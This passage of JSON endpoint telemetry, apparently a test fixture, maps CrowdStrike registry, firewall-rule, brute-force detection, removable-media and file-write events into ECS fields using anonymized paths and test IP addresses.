\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1", - "RegType": "7", - "RegValueName": "ee0bc2006c367f53b607da1122e", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "2e723341d059eefec4c8ff3c9062764c68e3", - "name": "0e92d5a77de501c1f1c9064" - }, - "device": { - "id": "52cf03e6cbd930e0081ab561b4366e03" - }, - "event": { - "action": "modification", - "category": [ - "registry" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "2e723341d059eefec4c8ff3c9062764c68e3|52cf03e6cbd930e0081ab561b4366e03|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextThreadId\":\"98420079085202\",\"aip\":\"89.160.20.112\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\32d7e82\\\\185d320a\",\"RegClassificationFlags\":\"454\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"2e723341d059eefec4c8ff3c9062764c68e3\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"1c\\\\e2\\\\82\\\\d598026\\\\d62f\\\\9420a69.exe\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\c663c82b\\\\d62f\\\\fbcbd9a.tmp\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\add7750.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\add7750.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\89e8b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\89e8b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\d4579.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\d4579.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\a64335cc.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\a64335cc.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\c54e80.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\c54e80.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\7d32a173.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\7d32a173.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\15288c.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\15288c.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\18f\\\\4ad95b3.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\4ad95b3.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\d62f\\\\9420a69.exe\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\18f\\\\bc742c1d.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\bc742c1d.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\25c3c8.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\25c3c8.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\a010c85.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\a010c85.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\0c2f6a2.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\0c2f6a2.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\b214b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\b214b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\b522a4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\b522a4.DLL\\u0000*1\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegGenericValueUpdate\",\"ContextTimeStamp\":\"1761698586.458\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"2090006508607\",\"RegType\":\"7\",\"RegClassificationIndex\":\"430\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"ee0bc2006c367f53b607da1122e\",\"RegClassification\":\"806\",\"Entitlements\":\"66\",\"name\":\"0e92d5a77de501c1f1c9064\",\"aid\":\"52cf03e6cbd930e0081ab561b4366e03\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "52cf03e6cbd930e0081ab561b4366e03", - "os": { - "type": "windows" - } - }, - "message": "RegGenericValueUpdate", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "52cf03e6cbd930e0081ab561b4366e03", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "2090006508607", - "thread": { - "id": 98420079085202 - } - }, - "registry": { - "data": { - "strings": [ - "1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1" - ], - "type": "REG_MULTI_SZ" - }, - "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a", - "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a\\ee0bc2006c367f53b607da1122e", - "value": "ee0bc2006c367f53b607da1122e" - }, - "related": { - "hash": [ - "3440491101" - ], - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "6000088020", - "ContextProcessId": "209450604006", - "EffectiveTransmissionClass": "2", - "Entitlements": "86", - "EventOrigin": "1", - "PatternId": "24871", - "RegClassification": "40", - "RegClassificationFlags": "1", - "RegClassificationIndex": "3", - "RegObjectName": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d", - "RegOperationType": "2", - "RegValueName": "d4ae4138ea91", - "TemplateDisposition": "40", - "TemplateInstanceId": "10229", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "46ae86d862c2856f051da60792378c9a659e", - "name": "ac9954e67836781b8f5b89ec31d8d" - }, - "device": { - "id": "8b6270fbf7dd1d35cb564438ccd92475" - }, - "event": { - "action": "deletion", - "category": [ - "registry" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "46ae86d862c2856f051da60792378c9a659e|8b6270fbf7dd1d35cb564438ccd92475|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"TemplateInstanceId\":\"10229\",\"aip\":\"81.2.69.142\",\"RegClassificationFlags\":\"1\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\4f779032\\\\c7bac469\\\\d598026\\\\1f728162\\\\00d\",\"RegOperationType\":\"2\",\"event_platform\":\"Win\",\"PatternId\":\"24871\",\"EventOrigin\":\"1\",\"id\":\"46ae86d862c2856f051da60792378c9a659e\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegistryOperationDetectInfo\",\"ConfigStateHash\":\"6000088020\",\"TemplateDisposition\":\"40\",\"ContextProcessId\":\"209450604006\",\"RegClassificationIndex\":\"3\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"d4ae4138ea91\",\"CommandLine\":\"54d\\\\9134161b\\\\b169fe25\\\\d528e266.exe\\\"\",\"RegClassification\":\"40\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\d528e266.exe\",\"Entitlements\":\"86\",\"name\":\"ac9954e67836781b8f5b89ec31d8d\",\"aid\":\"8b6270fbf7dd1d35cb564438ccd92475\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "deletion" - ] - }, - "host": { - "id": "8b6270fbf7dd1d35cb564438ccd92475", - "os": { - "type": "windows" - } - }, - "message": "RegistryOperationDetectInfo", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "8b6270fbf7dd1d35cb564438ccd92475", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "54d\\9134161b\\b169fe25\\d528e266.exe" - ], - "args_count": 1, - "command_line": "54d\\9134161b\\b169fe25\\d528e266.exe\"", - "entity_id": "209450604006", - "executable": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe", - "name": "d528e266.exe" - }, - "registry": { - "key": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d", - "path": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d\\d4ae4138ea91", - "value": "d4ae4138ea91" - }, - "related": { - "hash": [ - "6000088020" - ], - "ip": [ - "81.2.69.142" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "864", - "ConfigStateHash": "2080600092", - "ContextProcessId": "1007045000929", - "ContextTimeStamp": "2025-10-02T16:56:51.858Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "86", - "EventOrigin": "1", - "RegClassification": "334", - "RegClassificationFlags": "1", - "RegClassificationIndex": "718", - "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d", - "RegOperationType": "1", - "RegStringValue": "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|", - "RegType": "1", - "RegValueName": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "8f2302b7d2a07c5d5568941494e0368e0144", - "name": "24ba14f1e5840e900e581616a2fe" - }, - "device": { - "id": "be027d4cbada339f804f9c19f5a2d5a6" - }, - "event": { - "action": "modification", - "category": [ - "registry", - "host", - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextThreadId\":\"700420809200030\",\"aip\":\"81.2.69.192\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\604dce44\\\\9d9abc6f\\\\e68b36b1\\\\336a62f8\\\\348c576d\",\"RegClassificationFlags\":\"1\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\9134161b\\\\3a93a12\\\\82be212b\\\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegSystemConfigValueUpdate\",\"ContextTimeStamp\":\"1759424211.858\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"1007045000929\",\"RegType\":\"1\",\"RegClassificationIndex\":\"718\",\"AuthenticationId\":\"864\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"RegClassification\":\"334\",\"Entitlements\":\"86\",\"name\":\"24ba14f1e5840e900e581616a2fe\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "be027d4cbada339f804f9c19f5a2d5a6", - "os": { - "type": "windows" - } - }, - "message": "RegSystemConfigValueUpdate", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "be027d4cbada339f804f9c19f5a2d5a6", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "1007045000929", - "thread": { - "id": 700420809200030 - } - }, - "registry": { - "data": { - "strings": [ - "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|" - ], - "type": "REG_SZ" - }, - "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d", - "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d\\{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}", - "value": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}" - }, - "related": { - "hash": [ - "2080600092" - ], - "ip": [ - "81.2.69.192" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "6870020050", - "ContextProcessId": "25700434000", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "LogonType": "3", - "PatternId": "200", - "TotalCount": 4051, - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "2e41e2c0447e07249a69dbdc70a72aec40d4", - "name": "35b635ba0a924203f13f0a9f8f7d" - }, - "device": { - "id": "a72936ae0acff156c05af8238b6a10eb" - }, - "event": { - "action": "RemoteBruteForceDetectInfo", - "category": [ - "malware", - "authentication" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "2e41e2c0447e07249a69dbdc70a72aec40d4|a72936ae0acff156c05af8238b6a10eb|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"event_simpleName\":\"RemoteBruteForceDetectInfo\",\"UserName\":\"\",\"ConfigStateHash\":\"6870020050\",\"ContextProcessId\":\"25700434000\",\"LogonType\":\"3\",\"aip\":\"81.2.69.144\",\"LogonDomain\":\"\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"82\\\\340d600\\\\4a6a0a4b\\\\4cdbc.exe\",\"TotalCount\":\"4051\",\"PatternId\":\"200\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\4cdbc.exe\",\"Entitlements\":\"66\",\"name\":\"35b635ba0a924203f13f0a9f8f7d\",\"EventOrigin\":\"1\",\"id\":\"2e41e2c0447e07249a69dbdc70a72aec40d4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"a72936ae0acff156c05af8238b6a10eb\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "a72936ae0acff156c05af8238b6a10eb", - "os": { - "type": "windows" - } - }, - "message": "RemoteBruteForceDetectInfo", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "a72936ae0acff156c05af8238b6a10eb", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "82\\340d600\\4a6a0a4b\\4cdbc.exe" - ], - "args_count": 1, - "command_line": "82\\340d600\\4a6a0a4b\\4cdbc.exe", - "entity_id": "25700434000", - "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe", - "name": "4cdbc.exe" - }, - "related": { - "hash": [ - "6870020050" - ], - "ip": [ - "81.2.69.144" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "8090285900", - "ContextProcessId": "655070024024", - "ContextTimeStamp": "2025-06-30T05:11:02.872Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "IsOnRemovableDisk": "1", - "VolumeDeviceCharacteristics": "100402", - "VolumeDeviceObjectFlags": "0", - "VolumeDeviceType": "8", - "VolumeDriveLetter": "4e", - "VolumeEncryptionStatus": "0", - "VolumeFileSystemDevice": "\\ddc", - "VolumeFileSystemDriver": "\\6b634d3d\\7a5851b", - "VolumeFileSystemType": "3", - "VolumeIsEncrypted": "0", - "VolumeMountPoint": "\\e2\\cf8397ea", - "VolumeName": "\\6ba0bd\\257d4e13", - "VolumeRealDeviceName": "\\6ba0bd\\257d4e13", - "VolumeSectorSize": "940", - "VolumeSessionUUID": "c8838ad8-1da8-43ae-8c85-3c2309eab164", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "5762ba1aab05fd80cadfb13f146bc3ce868c", - "name": "b47570143699a945cde3e5764a9843" - }, - "device": { - "id": "6d58dee7855f7a94dc887ec52805de46" - }, - "event": { - "action": "RemovableMediaVolumeMounted", - "category": [ - "configuration", - "host" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "5762ba1aab05fd80cadfb13f146bc3ce868c|6d58dee7855f7a94dc887ec52805de46|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"VolumeSessionUUID\":\"c8838ad8-1da8-43ae-8c85-3c2309eab164\",\"ContextThreadId\":\"300005906805\",\"aip\":\"81.2.69.192\",\"VolumeMountPoint\":\"\\\\e2\\\\cf8397ea\",\"VolumeDriveLetter\":\"4e\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"0\",\"VolumeFileSystemDevice\":\"\\\\ddc\",\"VolumeIsEncrypted\":\"0\",\"VolumeFileSystemDriver\":\"\\\\6b634d3d\\\\7a5851b\",\"DiskParentDeviceInstanceId\":\"61f\\\\cd4242a2\\\\a3fcbe35\",\"VolumeDeviceCharacteristics\":\"100402\",\"id\":\"5762ba1aab05fd80cadfb13f146bc3ce868c\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RemovableMediaVolumeMounted\",\"VolumeName\":\"\\\\6ba0bd\\\\257d4e13\",\"ContextTimeStamp\":\"1751260262.872\",\"VolumeSectorSize\":\"940\",\"ConfigStateHash\":\"8090285900\",\"ContextProcessId\":\"655070024024\",\"VolumeRealDeviceName\":\"\\\\6ba0bd\\\\257d4e13\",\"ConfigBuild\":\"ad5.4.ae3729d.6\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"3\",\"IsOnRemovableDisk\":\"1\",\"Entitlements\":\"96\",\"name\":\"b47570143699a945cde3e5764a9843\",\"aid\":\"6d58dee7855f7a94dc887ec52805de46\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "device": "61f\\cd4242a2\\a3fcbe35" - }, - "host": { - "id": "6d58dee7855f7a94dc887ec52805de46", - "os": { - "type": "windows" - } - }, - "message": "RemovableMediaVolumeMounted", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "6d58dee7855f7a94dc887ec52805de46", - "version": "ad5.4.ae3729d.6" - }, - "process": { - "entity_id": "655070024024", - "thread": { - "id": 300005906805 - } - }, - "related": { - "hash": [ - "8090285900" - ], - "ip": [ - "81.2.69.192" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "BoundingLimitCount": 10, - "BoundingLimitDuration": "8486640", - "ConfigStateHash": "30820000", - "ContextBaseFileName": "6866e9cdd4c02", - "ContextProcessId": "600400303060", - "ContextTimeStamp": "2025-08-24T04:14:11.353Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "86", - "EventOrigin": "1", - "FileCategory": "2", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-49065-57943-32307", - "FileWrittenFlags": "0", - "IrpFlags": "0", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "2", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "a6c319e36889013fd1a9cb1e28db73a2d47b", - "name": "e5968210c929a23b0" - }, - "device": { - "id": "827afde25ba0eeda5d204a68ff612048" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "a6c319e36889013fd1a9cb1e28db73a2d47b|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"FileOperatorSid\":\"S-49065-57943-32307\",\"ContextBaseFileName\":\"6866e9cdd4c02\",\"FileCategory\":\"2\",\"Size\":\"507310\",\"ContextThreadId\":\"1006000509974\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"IsOnNetwork\":\"0\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\dc08d203\\\\6d4a9f57\",\"id\":\"a6c319e36889013fd1a9cb1e28db73a2d47b\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RtfFileWritten\",\"ContextTimeStamp\":\"1756008851.353\",\"UserName\":\"352ad1966\",\"ConfigStateHash\":\"30820000\",\"ContextProcessId\":\"600400303060\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"8486640\",\"Entitlements\":\"86\",\"name\":\"e5968210c929a23b0\",\"OperationFlags\":\"0\",\"aid\":\